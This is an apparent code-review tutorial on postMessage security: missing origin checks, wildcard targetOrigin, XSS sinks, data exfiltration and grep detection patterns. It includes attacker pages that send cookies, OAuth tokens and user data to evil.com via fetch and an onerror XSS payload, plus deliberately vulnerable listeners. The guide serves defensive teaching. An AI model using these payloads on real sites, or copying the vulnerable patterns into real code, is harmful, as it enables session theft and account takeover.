PostMessage Vulnerabilities: Code Review Guide
Table of Contents
1. Introduction to postMessage Vulnerabilities
The window.postMessage() API enables cross-origin communication between windows — a parent page and an iframe, a page and a popup, or even between tabs. While essential for modern web applications (embedded widgets, SSO flows, payment gateways), insecure postMessage usage is one of the most common client-side vulnerabilities found during code review.
Why This Matters
postMessage vulnerabilities are uniquely dangerous because they bypass the Same-Origin Policy by design. When a developer adds a message event listener, they are explicitly opening a channel for cross-origin data. If that channel lacks proper validation, any website on the internet can send messages to — or receive messages from — the vulnerable application. This leads to XSS, token theft, authentication bypasses, and account takeovers.
In this guide, you'll learn how the postMessage API works and where the security boundaries lie, why missing origin validation is the #1 vulnerability pattern, how attackers exploit postMessage for XSS and data exfiltration, how to spot dangerous patterns during code review, and how to implement postMessage securely.
postMessage Communication & Attack Surface
Intended Cross-Origin Communication
.postMessage(data, origin)
Process message safely
Attack: Missing Origin Validation
Sends crafted message
Executes attacker payload!
What makes postMessage fundamentally different from other browser APIs from a security perspective?
2. How postMessage Works
The postMessage API has two sides: the sender (calls postMessage()) and the receiver (listens for the message event). Both sides have security-critical parameters.
Sending a message
1// Syntax: targetWindow.postMessage(message, targetOrigin)
2
3// From parent page → iframe
4const iframe = document.getElementById('payment-widget');
5iframe.contentWindow.postMessage(
6 { action: 'processPayment', amount: 99.99 },
7 'https://payments.trusted.com' // ← targetOrigin: ONLY deliver
8); // if iframe is on this origin
9
10// From iframe → parent
11window.parent.postMessage(
12 { status: 'payment_complete', txId: 'abc123' },
13 'https://app.example.com' // ← ONLY deliver if parent is this origin
14);
15
16// From page → popup
17const popup = window.open('https://auth.example.com/login');
18popup.postMessage(
19 { action: 'getToken' },
20 'https://auth.example.com'
21);Receiving a message
1// The receiver adds an event listener for "message" events
2window.addEventListener('message', (event) => {
3 // event.origin — The origin of the sender (e.g., "https://app.example.com")
4 // event.data — The message payload (any serializable value)
5 // event.source — A reference to the sender's window object
6
7 // ✅ CRITICAL: Always validate the origin first!
8 if (event.origin !== 'https://app.example.com') {
9 return; // Reject messages from unexpected origins
10 }
11
12 // Now safe to process the message
13 console.log('Received:', event.data);
14});Key Security Parameters
targetOrigin (sender side): Restricts which origin can receive the message. Using "*" means any origin can receive it — dangerous if the message contains sensitive data.
event.origin (receiver side): Tells the receiver where the message came from. Failing to check this means any website can send messages to your application. Both sides must be validated for secure communication.
3. Missing Origin Validation
The most common and dangerous postMessage vulnerability is a message event listener that does not validate event.origin. This allows any website to send messages to the vulnerable application.
Vulnerable: No origin check
1// ❌ VULNERABLE: Accepts messages from ANY origin
2window.addEventListener('message', (event) => {
3 // No origin validation! Any website can trigger this.
4
5 if (event.data.action === 'updateProfile') {
6 // Attacker can forge this message from evil.com
7 updateUserProfile(event.data.profile);
8 }
9
10 if (event.data.action === 'navigate') {
11 // Attacker can redirect the user anywhere
12 window.location.href = event.data.url;
13 }
14
15 if (event.data.action === 'setHTML') {
16 // Attacker achieves XSS
17 document.getElementById('content').innerHTML = event.data.html;
18 }
19});The Attack: The attacker hosts a page on evil.com that embeds the vulnerable application in an iframe (or opens it as a popup), then sends crafted messages:
Attacker page on evil.com
1<!-- Attacker hosts this on evil.com -->
2<iframe id="victim" src="https://app.example.com" style="display:none"></iframe>
3
4<script>
5 const victim = document.getElementById('victim');
6
7 victim.onload = function() {
8 // Send malicious message — the victim app accepts it
9 // because there's no origin check!
10
11 // Attack 1: XSS
12 victim.contentWindow.postMessage({
13 action: 'setHTML',
14 html: '<img src=x onerror="document.location='https://evil.com/steal?cookie='+document.cookie">'
15 }, '*');
16
17 // Attack 2: Open redirect
18 victim.contentWindow.postMessage({
19 action: 'navigate',
20 url: 'https://evil.com/phishing'
21 }, '*');
22
23 // Attack 3: Profile manipulation
24 victim.contentWindow.postMessage({
25 action: 'updateProfile',
26 profile: { email: 'attacker@evil.com', role: 'admin' }
27 }, '*');
28 };
29</script>A developer argues: 'Our app is not embeddable in an iframe because we set X-Frame-Options: DENY, so postMessage attacks are impossible.' Is this correct?
4. Wildcard targetOrigin ("*")
Using "*" as the targetOrigin when sending a message means the message will be delivered to the target window regardless of its current origin. If the message contains sensitive data (tokens, user info, session data), any page that gains a reference to the window can intercept it.
Vulnerable: Wildcard targetOrigin leaking tokens
1// ❌ VULNERABLE: Sending sensitive data with targetOrigin "*"
2// This is common in OAuth/SSO popup flows
3
4// Parent page opens OAuth popup
5const authPopup = window.open('https://auth.provider.com/authorize');
6
7// Somewhere in the OAuth callback, the popup sends the token back:
8// (inside the popup / OAuth callback page)
9window.opener.postMessage(
10 { type: 'auth_complete', token: 'eyJhbGciOiJSUzI1...' },
11 '*' // ⚠️ Delivers to opener REGARDLESS of its origin!
12);
13
14// THE ATTACK:
15// 1. Attacker page on evil.com opens the OAuth flow
16// 2. User authenticates (they see the real OAuth provider)
17// 3. OAuth callback popup sends token with targetOrigin "*"
18// 4. evil.com (the opener) receives the token!Why developers use "*": The popup doesn't always know the exact origin of the opener (especially in multi-tenant or development environments). The "easy fix" is to use "*" — but this creates a serious vulnerability. The correct solution is to pass the expected origin as a parameter or use event.origin from an initial handshake message.
Attack: Intercepting tokens via wildcard targetOrigin
1<!-- Attacker page on evil.com -->
2<script>
3 // Step 1: Open the OAuth flow — user sees the real login page
4 const authPopup = window.open(
5 'https://auth.provider.com/authorize?client_id=legit_app&redirect_uri=...'
6 );
7
8 // Step 2: Listen for the token
9 window.addEventListener('message', (event) => {
10 if (event.data && event.data.token) {
11 // Step 3: Steal the token!
12 fetch('https://evil.com/collect', {
13 method: 'POST',
14 body: JSON.stringify({ stolen_token: event.data.token })
15 });
16 }
17 });
18</script>Common Misconception
Many developers believe that postMessage("*") is safe because "the message only goes to the specific window reference." While the message IS only delivered to the referenced window, the window could have been navigated to a different origin. For example, an attacker could navigate a popup's opener to evil.com before the popup sends its message. With targetOrigin: "*", the message (and its sensitive data) is delivered to evil.com.
An application sends: iframe.contentWindow.postMessage({user: currentUser}, "*"). The iframe is loaded from https://widget.trusted.com. Is this safe?
5. XSS via postMessage
The most impactful postMessage vulnerability is when the receiver uses message data in a DOM sink — particularly innerHTML, document.write(), eval(), or URL assignments. Without origin validation, this gives the attacker direct XSS.
Pattern 1: innerHTML sink
1// ❌ VULNERABLE: Message data → innerHTML
2window.addEventListener('message', (event) => {
3 // No origin check!
4 const notification = event.data.notification;
5
6 // Attacker sends: { notification: "<img src=x onerror=alert(document.cookie)>" }
7 document.getElementById('notifications').innerHTML = notification;
8 // → XSS achieved
9});Pattern 2: eval / Function constructor
1// ❌ VULNERABLE: Message data → eval
2window.addEventListener('message', (event) => {
3 // Supposedly for "remote configuration" or "dynamic actions"
4 if (event.data.type === 'execute') {
5 eval(event.data.code); // Attacker sends arbitrary code
6 }
7
8 // Or via Function constructor:
9 if (event.data.type === 'callback') {
10 const fn = new Function(event.data.body);
11 fn(); // Same effect as eval
12 }
13});Pattern 3: URL/location assignment
1// ❌ VULNERABLE: Message data → location (open redirect / javascript: XSS)
2window.addEventListener('message', (event) => {
3 if (event.data.action === 'redirect') {
4 window.location.href = event.data.url;
5 // Attacker sends: { action: "redirect", url: "javascript:alert(1)" }
6 // Or phishing: { action: "redirect", url: "https://evil.com/fake-login" }
7 }
8});
9
10// ❌ VULNERABLE: Message data → script.src
11window.addEventListener('message', (event) => {
12 if (event.data.type === 'loadScript') {
13 const script = document.createElement('script');
14 script.src = event.data.url; // Attacker loads malicious script
15 document.body.appendChild(script);
16 }
17});The Double Vulnerability
PostMessage-based XSS is especially valuable to attackers because it requires no user interaction beyond visiting the attacker's page. Unlike reflected XSS (which needs a crafted URL) or stored XSS (which needs prior access), postMessage XSS is triggered automatically when the victim visits any attacker-controlled page that embeds or opens the vulnerable application.
You find this code during review: window.addEventListener('message', e => { if (e.origin === 'https://trusted.com') { document.getElementById('output').innerHTML = e.data.html; } }). Is this secure?
6. Data Exfiltration Attacks
In the reverse direction, a vulnerable application may send sensitive data via postMessage to an untrusted recipient. This happens when the sender uses "*" as the targetOrigin or when the receiver's origin is not verified before sending.
Vulnerable: Responding with sensitive data to any requester
1// ❌ VULNERABLE: Responds to any message with user data
2window.addEventListener('message', (event) => {
3 // No origin check — any window can request user data!
4
5 if (event.data.action === 'getUserInfo') {
6 event.source.postMessage({
7 type: 'userInfo',
8 data: {
9 name: currentUser.name,
10 email: currentUser.email,
11 authToken: currentUser.token, // ← Token exfiltrated!
12 sessionId: document.cookie
13 }
14 }, '*'); // ← Sent to ANY origin
15 }
16});The Attack: The attacker frames the vulnerable application and requests user data:
Attacker steals user data
1<!-- evil.com -->
2<iframe id="target" src="https://app.example.com" style="opacity:0;position:absolute"></iframe>
3
4<script>
5 const target = document.getElementById('target');
6
7 // Listen for the victim's response
8 window.addEventListener('message', (event) => {
9 if (event.data.type === 'userInfo') {
10 // Exfiltrate the stolen data
11 fetch('https://evil.com/exfil', {
12 method: 'POST',
13 headers: { 'Content-Type': 'application/json' },
14 body: JSON.stringify(event.data.data)
15 });
16 }
17 });
18
19 // Request the data once the iframe loads
20 target.onload = () => {
21 target.contentWindow.postMessage(
22 { action: 'getUserInfo' },
23 '*'
24 );
25 };
26</script>Real-World Pattern: Widget SDKs
This vulnerability is extremely common in widget SDKs (chat widgets, analytics, payment forms) that communicate with a parent page. The widget iframe receives a message asking for state/config and responds — but if it doesn't validate who is asking, any page embedding the widget can extract data. This is especially dangerous when the widget has access to user sessions or payment information.
7. Detection During Code Review
PostMessage vulnerabilities follow predictable patterns. During code review, systematically search for message listeners and postMessage calls, then verify each one has proper security controls.
Code Review Detection Patterns
| Pattern | What to Look For | Risk Level |
|---|---|---|
| addEventListener("message") | Any message listener — check if event.origin is validated before processing event.data | Critical if no origin check |
| postMessage(data, "*") | Wildcard targetOrigin — check if the message contains sensitive data (tokens, user info, session data) | Critical if sensitive data |
| event.data → innerHTML | Message data used in innerHTML, outerHTML, document.write, or insertAdjacentHTML | Critical (XSS sink) |
| event.data → eval / Function | Message data passed to eval(), new Function(), setTimeout(string), or setInterval(string) | Critical (code execution) |
| event.data → location | Message data assigned to window.location, location.href, or used in window.open() | High (open redirect / XSS) |
| event.data → fetch/XMLHttpRequest | Message data used in URL or body of network requests — can enable SSRF or data exfiltration | High |
| Partial origin check | event.origin.includes("trusted") or event.origin.indexOf("trusted") — can be bypassed with "trusted.evil.com" | Critical (bypass) |
| event.source.postMessage(..., "*") | Responding to messages with sensitive data using wildcard — data leaks to any requester | Critical if sensitive |
Quick grep patterns for postMessage issues
1# Find all message listeners
2grep -rn 'addEventListener.*["']message["']' --include="*.js" --include="*.ts" --include="*.tsx"
3
4# Find postMessage calls with wildcard
5grep -rn "postMessage.*'\*'" --include="*.js" --include="*.ts"
6grep -rn 'postMessage.*"\*"' --include="*.js" --include="*.ts"
7
8# Find message listeners WITHOUT origin checks (naive but helpful)
9# Look for handlers that access event.data but never reference event.origin
10grep -A 20 'addEventListener.*message' --include="*.js" | grep -L 'origin'
11
12# Find dangerous sinks near message handlers
13grep -A 30 'addEventListener.*message' --include="*.js" | grep -E 'innerHTML|outerHTML|document\.write|eval\(|Function\(|location'You find this origin check: if (event.origin.indexOf('example.com') > -1) { ... }. Is this secure?